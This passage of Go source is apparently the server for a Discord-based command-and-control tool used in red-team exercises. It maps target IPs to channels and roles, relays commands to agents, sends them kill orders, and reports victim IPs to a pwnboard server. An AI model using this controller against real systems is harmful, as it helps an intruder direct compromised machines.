`json:"ip"` 72 | Type string `json:"type"` 73 | } 74 | 75 | // This init function 76 | func init() { 77 | flag.StringVar(&fileInputPtr, "f", "", "This csv should contains the list of targets: ip,team#,hostname,ostype") 78 | flag.Parse() 79 | 80 | if fileInputPtr == "" { 81 | log.Fatal("No file specified") 82 | os.Exit(0) 83 | } 84 | 85 | log.SetOutput(os.Stdout) 86 | log.Info("Target file: " + fileInputPtr) 87 | 88 | dg, err = discordgo.New("Bot " + util.BotToken) 89 | if err != nil { 90 | log.Error("error creating Discord session,", err) 91 | return 92 | } 93 | log.Info("Bot Connected") 94 | } 95 | 96 | // Parsing the input csv file and creates a list that will used in other parts of the code 97 | func parseCSV(csvName string) (map[string]Target, []string, []string, []string) { 98 | var list = make(map[string]Target) 99 | f, err := os.Open(csvName) 100 | if err != nil { 101 | panic(err) 102 | } 103 | s := bufio.NewScanner(f) 104 | teamnum := []string{} 105 | hostnameList := []string{} 106 | osList := []string{} 107 | for s.Scan() { 108 | lineBuff := s.Bytes() 109 | v := strings.Split(string(lineBuff), ",") 110 | list[v[0]] = Target{ 111 | ip: v[0], 112 | teamstring: v[1], 113 | hostname: v[2], 114 | ostype: v[3], 115 | } 116 | teamnum = append(teamnum, v[1]) 117 | hostnameList = append(hostnameList, v[2]) 118 | osList = append(osList, v[3]) 119 | } 120 | return list, teamnum, hostnameList, osList 121 | } 122 | 123 | func assignRoleToChannel(dg *discordgo.Session, channel *discordgo.Channel) { 124 | log.Info("Assigning roles begin.......") 125 | permissionOverwriteList := []*discordgo.PermissionOverwrite{} 126 | g, err := dg.Guild(util.ServerID) 127 | if err != nil { 128 | log.Error("Something broke ", err) 129 | return 130 | } 131 | 132 | availbleRoles := g.Roles // Roles already created and listed from discord 133 | for _, value := range targetMap { 134 | if value.ip == channel.Name || value.hostname == channel.Name || value.ostype == channel.Name { 135 | for _, role := range availbleRoles { 136 | if value.teamstring == role.Name || value.hostname == role.Name || value.ostype == role.Name { 137 | println("Found role: ", role.Name) 138 | println(channel.Name + " should be assigned " + role.Name) 139 | permissionOverwriteList = append(permissionOverwriteList, &discordgo.PermissionOverwrite{ID: role.ID}) 140 | log.Info("Assigning " + role.Name + " to " + channel.Name) 141 | dg.ChannelEditComplex(channel.ID, &discordgo.ChannelEdit{PermissionOverwrites: permissionOverwriteList}) 142 | } 143 | } 144 | } 145 | } 146 | 147 | log.Info("Assigning roles ended.......") 148 | } 149 | 150 | // Create/Delete Roles for each target 151 | func createOrDeleteRoles(dg *discordgo.Session, create bool) { 152 | log.Info("Creating Roles....") 153 | g, err := dg.Guild(util.ServerID) 154 | if err != nil { 155 | log.Error("Something broke ", err) 156 | return 157 | } 158 | 159 | potentialRole := []string{} // Roles to be created 160 | availbleRoles := g.Roles // Roles already created and listed from discord 161 | 162 | for _, host := range targetMap { 163 | potentialRole = append(potentialRole, host.hostname) 164 | potentialRole = append(potentialRole, host.teamstring) 165 | potentialRole = append(potentialRole, host.ostype) 166 | } 167 | 168 | // New list without duplicates 169 | rolesToCreate := util.RemoveDuplicatesValues(potentialRole) // Roles to be created 170 | 171 | if !create { // We want to delete the roles 172 | for _, role := range availbleRoles { 173 | for _, roleToDelete := range potentialRole { 174 | log.Info("Deleting " + role.Name) 175 | if roleToDelete == role.Name || role.Name == "new role" { 176 | dg.GuildRoleDelete(util.ServerID, role.ID) 177 | break 178 | } 179 | } 180 | } 181 | } else { 182 | tmpAvailbleRole := []string{} //This is getting the role name(string) rather the role struct 183 | for _, i := range availbleRoles { 184 | tmpAvailbleRole = append(tmpAvailbleRole, i.Name) 185 | } 186 | 187 | for _, role := range rolesToCreate { 188 | // Color Fix: Thank Fred 189 | checkRole := util.Find(tmpAvailbleRole, role) 190 | if checkRole { 191 | return 192 | } 193 | 194 | var colorInRGB randomcolor.RGBColor = randomcolor.GetRandomColorInRgb() 195 | roleColorHex := fmt.Sprintf("%.2x%.2x%.2x", colorInRGB.Red, colorInRGB.Green, colorInRGB.Blue) 196 | roleColorInt64, err := strconv.ParseInt(roleColorHex, 16, 64) 197 | if err != nil { 198 | log.Error(err) 199 | } 200 | roleColorInt := int(roleColorInt64) 201 | 202 | log.Info("Creating " + role + " role with color RGB: " + strconv.Itoa(roleColorInt)) 203 | newRole, err := dg.GuildRoleCreate(util.ServerID) 204 | if err != nil { 205 | log.Error(err) 206 | } 207 | // Editing the role template 208 | _, err = dg.GuildRoleEdit(util.ServerID, newRole.ID, role, roleColorInt, false, 171429441, true) 209 | if err != nil { 210 | log.Error(err) 211 | } 212 | } 213 | } 214 | log.Info("Creating Roles Ended........") 215 | } 216 | 217 | // This function organizes the targets to their respective categories(team01, team02 and so on) 218 | func cleanChannels(dg *discordgo.Session, targetFile string) { 219 | log.Info("Start Clean") 220 | checkChannels, _ := dg.GuildChannels(util.ServerID) 221 | for _, catName := range teams { 222 | groupExixsts := false 223 | for _, channelCheck := range checkChannels { 224 | if channelCheck.Name == catName { 225 | groupExixsts = true 226 | log.Warn("Category already exist") 227 | break 228 | } 229 | } 230 | if !groupExixsts { 231 | log.Info("Creating non-Existing group") 232 | newChan, _ := dg.GuildChannelCreate(util.ServerID, catName, 4) 233 | checkChannels = append(checkChannels, newChan) 234 | } 235 | } 236 | 237 | var channelName2ID = make(map[string]string) 238 | channels, _ := dg.GuildChannels(util.ServerID) 239 | for _, channel := range channels { 240 | if _, ok := channelName2ID[channel.Name]; !ok { 241 | channelName2ID[channel.Name] = channel.ID 242 | } 243 | } 244 | 245 | // TODO Check the last message here and move to archived category 246 | for _, channel := range channels { 247 | assignRoleToChannel(dg, channel) 248 | if _, ok := channelName2ID[channel.Name]; !ok { 249 | channelName2ID[channel.Name] = channel.ID 250 | } 251 | if target, ok := targetMap[channel.Name]; ok { 252 | if group_id, ok := channelName2ID[target.teamstring]; ok { 253 | dg.ChannelEditComplex(channel.ID, &discordgo.ChannelEdit{ParentID: group_id, Name: target.hostname}) 254 | } 255 | } 256 | } 257 | log.Info("End Clean") 258 | } 259 | 260 | func main() { 261 | targetMap, teams, hostnameList, osList = parseCSV(fileInputPtr) 262 | 263 | createOrDeleteRoles(dg, true) 264 | 265 | cleanChannels(dg, fileInputPtr) 266 | 267 | dg.AddHandler(guimessageCreater) 268 | dg.AddHandler(slashCommandHandler) 269 | 270 | // Open a websocket connection to Discord and begin listening. 271 | err = dg.Open() 272 | if err != nil { 273 | return 274 | } 275 | 276 | // Register slash commands 277 | for _, v := range commands { 278 | _, err := dg.ApplicationCommandCreate(dg.State.User.ID, util.ServerID, v) 279 | if err != nil { 280 | log.Panicf("Cannot create '%v' command: %v", v.Name, err) 281 | } 282 | } 283 | 284 | // go util.UpdateStats(statRecords) 285 | 286 | // Wait here until CTRL-C or other term signal is received. 287 | sc := make(chan os.Signal, 1) 288 | signal.Notify(sc, syscall.SIGINT, syscall.SIGTERM, os.Interrupt, syscall.SIGTERM) 289 | <-sc 290 | 291 | // Cleanly close down the Discord session. 292 | dg.Close() 293 | } 294 | 295 | // updatepwnBoard sends a post request to pwnboard with the IP 296 | // Request is done every 15 seconds 297 | // ip: Victim's IP 298 | func updatepwnBoard(ip string) { 299 | url := "http://pwnboard.win/generic" 300 | 301 | data := PwnBoard{ 302 | IPs: ip, 303 | Type: "DiscordG0", 304 | } 305 | 306 | // Marshal the data 307 | sendit, err := json.Marshal(data) 308 | if err != nil { 309 | return 310 | } 311 | 312 | // Send the post to pwnboard 313 | resp, err := http.Post(url, "application/json", bytes.NewBuffer(sendit)) 314 | if err != nil { 315 | return 316 | } 317 | 318 | defer resp.Body.Close() 319 | } 320 | 321 | func guimessageCreater(dg *discordgo.Session, message *discordgo.MessageCreate) { 322 | if strings.HasPrefix(message.Content, "!heartbeat") { 323 | agent_ip_address := strings.Split(message.Content, " ")[1] 324 | updatepwnBoard(agent_ip_address) 325 | statRecords[0] = statRecords[0] + 1 // TODO 326 | statRecords[1] = statRecords[1] + 1 // TODO 327 | } 328 | 329 | if message.Author.ID == dg.State.User.ID { 330 | return 331 | } 332 | 333 | if message.Content == "export" { 334 | names := []string{} 335 | channels, _ := dg.GuildChannels(message.GuildID) 336 | for _, channel := range channels { 337 | names = append(names, channel.Name) 338 | } 339 | dg.ChannelMessageSend(message.ChannelID, "```"+strings.Join(names, "\n")+"```") 340 | } 341 | 342 | if message.Content == "clean" { 343 | cleanChannels(dg, fileInputPtr) 344 | dg.ChannelMessageSend(message.ChannelID, "Cleaned") 345 | 346 | // statRecords[2] = statRecords[2] + 1 347 | 348 | // TODO - Check for dead channels based on the last !heartbeat timestamp 349 | // REMINDER: Message also has timestamp which can be used to remove dead channels 350 | // Might be useful channel struct value: lastmessageid 351 | 352 | // 353 | } 354 | 355 | if message.Content == "delcomp" { 356 | channels, _ := dg.GuildChannels(util.ServerID) 357 | 358 | log.Info("Looking at the channels") 359 | for _, channel := range channels { 360 | if channel.Type == discordgo.ChannelTypeGuildText { 361 | for _, hostname := range hostnameList { 362 | if strings.ToLower(hostname) == channel.Name { 363 | // Sending kill command to bot before deleting channel 364 | dg.ChannelMessageSend(channel.ID, "kill") 365 | log.Info("Deleting channel: " + channel.Name) 366 | _, err := dg.ChannelDelete(channel.ID) 367 | if err != nil { 368 | println(err) 369 | } 370 | break 371 | } 372 | } 373 | } 374 | } 375 | 376 | println() 377 | log.Info("Looking at the category") 378 | for _, channel := range channels { 379 | if channel.Type == discordgo.ChannelTypeGuildCategory { 380 | for _, teamnum := range teams { 381 | if teamnum == channel.Name { 382 | log.Info("Deleting category: " + channel.Name) 383 | _, err := dg.ChannelDelete(channel.ID) 384 | if err != nil { 385 | log.Error(err) 386 | } 387 | break 388 | } 389 | 390 | } 391 | } 392 | } 393 | println("Looking at roles") 394 | createOrDeleteRoles(dg, false) 395 | } 396 | 397 | // Responsible for mentioned roles 398 | // Is there a better way to do this???? --- Message me if you can think of something better 399 | channels, _ := dg.GuildChannels(util.ServerID) 400 | if len(message.MentionRoles) > 0 { 401 | log.Info(message.MentionRoles) 402 | for _, channel := range channels { 403 | // Loop through the mentioned roles 404 | run_command := []string{} 405 | for _, role := range message.MentionRoles { 406 | println(role) 407 | // Loop through the channels 408 | // Loop through channel's Permission overwrites(roles) 409 | for _, overwrite := range channel.PermissionOverwrites { 410 | if role == overwrite.ID { 411 | log.Info(channel.Name, " has role ", overwrite.ID) 412 | run_command = append(run_command, role) 413 | } 414 | } 415 | if len(run_command) == len(message.MentionRoles) { 416 | dg.ChannelMessageSend(channel.ID, message.Content) 417 | } 418 | } 419 | } 420 | } 421 | } 422 | 423 | func slashCommandHandler(dg *discordgo.Session, i *discordgo.InteractionCreate) { 424 | if i.Type != discordgo.InteractionApplicationCommand { 425 | return 426 | } 427 | 428 | data := i.ApplicationCommandData() 429 | log.Info(data.Name) 430 | switch data.Name { 431 | case "stats": 432 | log.Info("Getting stats") 433 | dg.InteractionRespond(i.Interaction, &discordgo.InteractionResponse{ 434 | Type: discordgo.InteractionResponseChannelMessageWithSource, 435 | Data: &discordgo.InteractionResponseData{ 436 | Content: "Getting you some stats\n Total number of heartbeats: " + strconv.Itoa(heartbeatCounter) + " \nNumber of alive/dead agents: ", 437 | }, 438 | }) 439 | case "archive": 440 | log.Info("Archive dead channels") 441 | fmt.Printf("What: %v", statRecords) 442 | case "delcomp": 443 | log.Info("Deleting Channels") 444 | } 445 | } 446 | --------------------------------------------------------------------------------